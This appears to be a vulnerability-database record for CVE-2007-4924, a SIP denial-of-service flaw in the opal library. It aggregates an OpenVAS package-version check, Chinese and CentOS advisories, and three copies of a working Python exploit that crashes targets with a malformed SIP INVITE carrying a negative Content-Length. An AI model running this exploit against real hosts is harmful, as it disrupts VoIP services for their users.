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See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"A flaw in opal, the Open Phone Abstraction Library, was found in\n how it handles certain Session Initiation Protocol (SIP) packets.\n An attacker could use this vulnerability to crash an application\n linked to opal, such as Ekiga.\n\n Updated packages have been patched to prevent these issues.\";\n\ntag_affected = \"opal on Mandriva Linux 2007.0,\n Mandriva Linux 2007.0/X86_64,\n Mandriva Linux 2007.1,\n Mandriva Linux 2007.1/X86_64\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.mandriva.com/security-announce/2007-11/msg00002.php\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.830308\");\n script_version(\"$Revision: 9370 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 10:53:14 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-04-09 14:00:25 +0200 (Thu, 09 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_xref(name: \"MDKSA\", value: \"2007:205\");\n script_cve_id(\"CVE-2007-4924\");\n script_name( \"Mandriva Update for opal MDKSA-2007:205 (opal)\");\n\n script_tag(name:\"summary\", value:\"Check for the Version of opal\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"MNDK_2007.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"libopal2\", rpm:\"libopal2~2.2.6~1.1mdv2007.1\", rls:\"MNDK_2007.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libopal2-devel\", rpm:\"libopal2-devel~2.2.6~1.1mdv2007.1\", rls:\"MNDK_2007.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"opal\", rpm:\"opal~2.2.6~1.1mdv2007.1\", rls:\"MNDK_2007.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opal2\", rpm:\"lib64opal2~2.2.6~1.1mdv2007.1\", rls:\"MNDK_2007.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opal2-devel\", rpm:\"lib64opal2-devel~2.2.6~1.1mdv2007.1\", rls:\"MNDK_2007.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n\n\nif(release == \"MNDK_2007.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"libopal2\", rpm:\"libopal2~2.2.3~1.1mdv2007.0\", rls:\"MNDK_2007.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libopal2-devel\", rpm:\"libopal2-devel~2.2.3~1.1mdv2007.0\", rls:\"MNDK_2007.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"opal\", rpm:\"opal~2.2.3~1.1mdv2007.0\", rls:\"MNDK_2007.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opal2\", rpm:\"lib64opal2~2.2.3~1.1mdv2007.0\", rls:\"MNDK_2007.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64opal2-devel\", rpm:\"lib64opal2-devel~2.2.3~1.1mdv2007.0\", rls:\"MNDK_2007.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-01T10:10:10", "bulletinFamily": "exploit", "description": "OpenH323 Opal SIP Protocol Remote Denial of Service Exploit. CVE-2007-4924. Dos exploit for windows platform", "modified": "2009-07-24T00:00:00", "published": "2009-07-24T00:00:00", "id": "EDB-ID:9240", "href": "https://www.exploit-db.com/exploits/9240/", "type": "exploitdb", "title": "OpenH323 Opal SIP Protocol Remote Denial of Service Exploit", "sourceData": "#!/usr/bin/env python\n#\n# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)\n#\n# opal228_dos.py by Jose Miguel Esparza\n# 2007-10-08 S21sec labs\n\nimport sys,socket\n\nif len(sys.argv) != 3:\n\tsys.exit(\"Usage: \" + sys.argv[0] + \" target_host target_port\\n\")\ntarget = sys.argv[1]\ntargetPort = int(sys.argv[2])\nmalformedRequest = \"INVITE sip:paco@192.168.1.134 SIP/2.0\\r\\n\"+\\\n\t\t \"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\\r\\n\"+\\\n\t\t \"Contact:sip:pepe@192.168.1.133:5060\\r\\n\"+\\\n\t\t \"Content-Length:-40999990\\r\\n\"+\\\n\t\t \"Content-Type:application/sdp\\r\\n\"+\\\n\t\t \"CSeq:4321 INVITE\\r\\n\"+\\\n\t\t \"From:sip:pepe@192.168.1.133:5060;tag=a48s\\r\\n\"+\\\n\t\t \"Max-Forwards:70\\r\\n\"+\\\n \t\"To:sip:paco@micasa.com\\r\\n\"+\\\n \t\"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\\r\\n\\r\\n\"\t\t \n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((target,targetPort))\ns.sendall(malformedRequest)\ns.close()\n\n# milw0rm.com [2009-07-24]\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/9240/"}], "seebug": [{"lastseen": "2017-11-19T21:56:34", "bulletinFamily": "exploit", "description": "BUGTRAQ ID: 25955\r\nCVE(CAN) ID: CVE-2007-4924\r\n\r\nOpenh323\u662f\u4e3a\u5f00\u53d1\u4f7f\u7528H.323\u534f\u8bae\u5728IP\u7f51\u4e0a\u8fdb\u884c\u591a\u5a92\u4f53\u901a\u4fe1\u7684\u5e94\u7528\u7a0b\u5e8f\u800c\u4e13\u95e8\u8bbe\u8ba1\u7684\u5168\u529f\u80fd\u534f\u8bae\u6808\u3002\r\n\r\nOpenh323\u7684\u5b9e\u73b0\u5728\u5904\u7406\u7578\u5f62\u683c\u5f0f\u7684SIP\u62a5\u6587\u65f6\u5b58\u5728\u6f0f\u6d1e\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5bfc\u81f4\u7528\u6237\u7684\u7cfb\u7edf\u5d29\u6e83\u3002\r\n\r\nOpenH323\u6240\u4f7f\u7528\u7684opal\u5e93\u7684sip/sippdu.cxx\u6587\u4ef6\u4e2dSIP_PDU::Read()\u65b9\u5f0f\u6ca1\u6709\u6b63\u786e\u5730\u5904\u7406SIP\u62a5\u6587\u5934\u4e2d\u7684Content-Length\u5b57\u6bb5\uff0c\u5982\u679c\u8fdc\u7a0b\u653b\u51fb\u8005\u5411\u4f7f\u7528\u4e86\u8be5\u5e93\u7684\u5e94\u7528\u7a0b\u5e8f\u53d1\u9001\u4e86\u7578\u5f62\u7684SIP\u62a5\u6587\u7684\u8bdd\uff0c\u5c31\u53ef\u80fd\u5411\u4efb\u610f\u5185\u5b58\u4f4d\u7f6e\u5199\u5165\u201c\\0\u201d\u5b57\u8282\uff0c\u5bfc\u81f4\u62d2\u7edd\u670d\u52a1\u3002\r\n\n\nOpenH323 Opal 2.2.4\r\nEkiga Ekiga &lt; 2.0.10\n \u5382\u5546\u8865\u4e01\uff1a\r\n\r\nOpenH323\r\n--------\r\n\u76ee\u524d\u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u5347\u7ea7\u8865\u4e01\u4ee5\u4fee\u590d\u8fd9\u4e2a\u5b89\u5168\u95ee\u9898\uff0c\u8bf7\u5230\u5382\u5546\u7684\u4e3b\u9875\u4e0b\u8f7d\uff1a\r\n\r\n<a href=\"http://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sippdu.cxx?r1=2.83.2.19&amp;r2=2.83.2.20\" target=\"_blank\">http://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sippdu.cxx?r1=2.83.2.19&amp;r2=2.83.2.20</a>\r\n\r\nEkiga\r\n-----\r\n\u76ee\u524d\u5382\u5546\u5df2\u7ecf\u53d1\u5e03\u4e86\u5347\u7ea7\u8865\u4e01\u4ee5\u4fee\u590d\u8fd9\u4e2a\u5b89\u5168\u95ee\u9898\uff0c\u8bf7\u5230\u5382\u5546\u7684\u4e3b\u9875\u4e0b\u8f7d\uff1a\r\n\r\n<a href=\"http://mail.gnome.org/archives/ekiga-list/2007-September/msg00103.html\" target=\"_blank\">http://mail.gnome.org/archives/ekiga-list/2007-September/msg00103.html</a>", "modified": "2007-10-11T00:00:00", "published": "2007-10-11T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-2279", "id": "SSV:2279", "type": "seebug", "title": "OpenH323 Opal\u5e93SIP\u534f\u8bae\u8fdc\u7a0b\u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e", "sourceData": "", "sourceHref": "", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-11-19T18:42:50", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2009-07-24T00:00:00", "published": "2009-07-24T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-12762", "id": "SSV:12762", "type": "seebug", "title": "OpenH323 Opal SIP Protocol Remote Denial of Service Exploit", "sourceData": "\n #!/usr/bin/env python\n#\n# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)\n#\n# opal228_dos.py by Jose Miguel Esparza\n# 2007-10-08 S21sec labs\n\nimport sys,socket\n\nif len(sys.argv) != 3:\n\tsys.exit(&quot;Usage: &quot; + sys.argv[0] + &quot; target_host target_port\\n&quot;)\ntarget = sys.argv[1]\ntargetPort = int(sys.argv[2])\nmalformedRequest = &quot;INVITE sip:paco@192.168.1.134 SIP/2.0\\r\\n&quot;+\\\n\t\t &quot;Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\\r\\n&quot;+\\\n\t\t &quot;Contact:sip:pepe@192.168.1.133:5060\\r\\n&quot;+\\\n\t\t &quot;Content-Length:-40999990\\r\\n&quot;+\\\n\t\t &quot;Content-Type:application/sdp\\r\\n&quot;+\\\n\t\t &quot;CSeq:4321 INVITE\\r\\n&quot;+\\\n\t\t &quot;From:sip:pepe@192.168.1.133:5060;tag=a48s\\r\\n&quot;+\\\n\t\t &quot;Max-Forwards:70\\r\\n&quot;+\\\n \t&quot;To:sip:paco@micasa.com\\r\\n&quot;+\\\n \t&quot;Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\\r\\n\\r\\n&quot;\t\t \n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((target,targetPort))\ns.sendall(malformedRequest)\ns.close()\n\n# sebug.net\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-12762", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:25:19", "bulletinFamily": "exploit", "description": "", "modified": "2009-07-24T00:00:00", "published": "2009-07-24T00:00:00", "href": "https://packetstormsecurity.com/files/79577/OpenH323-Opal-SIP-Denial-Of-Service.html", "id": "PACKETSTORM:79577", "type": "packetstorm", "title": "OpenH323 Opal SIP Denial Of Service", "sourceData": "`#!/usr/bin/env python \n# \n# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924) \n# \n# opal228_dos.py by Jose Miguel Esparza \n# 2007-10-08 S21sec labs \n \nimport sys,socket \n \nif len(sys.argv) != 3: \nsys.exit(\"Usage: \" + sys.argv[0] + \" target_host target_port\\n\") \ntarget = sys.argv[1] \ntargetPort = int(sys.argv[2]) \nmalformedRequest = \"INVITE sip:paco@192.168.1.134 SIP/2.0\\r\\n\"+\\ \n\"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\\r\\n\"+\\ \n\"Contact:sip:pepe@192.168.1.133:5060\\r\\n\"+\\ \n\"Content-Length:-40999990\\r\\n\"+\\ \n\"Content-Type:application/sdp\\r\\n\"+\\ \n\"CSeq:4321 INVITE\\r\\n\"+\\ \n\"From:sip:pepe@192.168.1.133:5060;tag=a48s\\r\\n\"+\\ \n\"Max-Forwards:70\\r\\n\"+\\ \n\"To:sip:paco@micasa.com\\r\\n\"+\\ \n\"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\\r\\n\\r\\n\" \n \ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) \ns.connect((target,targetPort)) \ns.sendall(malformedRequest) \ns.close() \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/79577/opal228_dos.py.txt", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "centos": [{"lastseen": "2017-10-12T14:45:48", "bulletinFamily": "unix", "description": "**CentOS Errata and Security Advisory** CESA-2007:0957\n\n\nOpen Phone Abstraction Library (opal) is implementation of various\r\ntelephony and video communication protocols for use over packet based \r\nnetworks.\r\n\r\nIn Red Hat Enterprise Linux 5, the Ekiga application uses opal.\r\n\r\nA flaw was discovered in the way opal handled certain Session Initiation \r\nProtocol (SIP) packets. An attacker could use this flaw to crash an \r\napplication, such as Ekiga, which is linked with opal. (CVE-2007-4924)\r\n\r\nUsers should upgrade to these updated opal packages which contain a \r\nbackported patch to correct this issue.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2007-October/014290.html\nhttp://lists.centos.org/pipermail/centos-announce/2007-October/014291.html\n\n**Affected packages:**\nopal\nopal-devel\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2007-0957.html", "modified": "2007-10-09T23:45:03", "published": "2007-10-09T23:45:03", "href": "http://lists.centos.org/pipermail/centos-announce/2007-October/014290.html", "id": "CESA-2007:0957", "title": "opal security update", "type": "centos", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}]}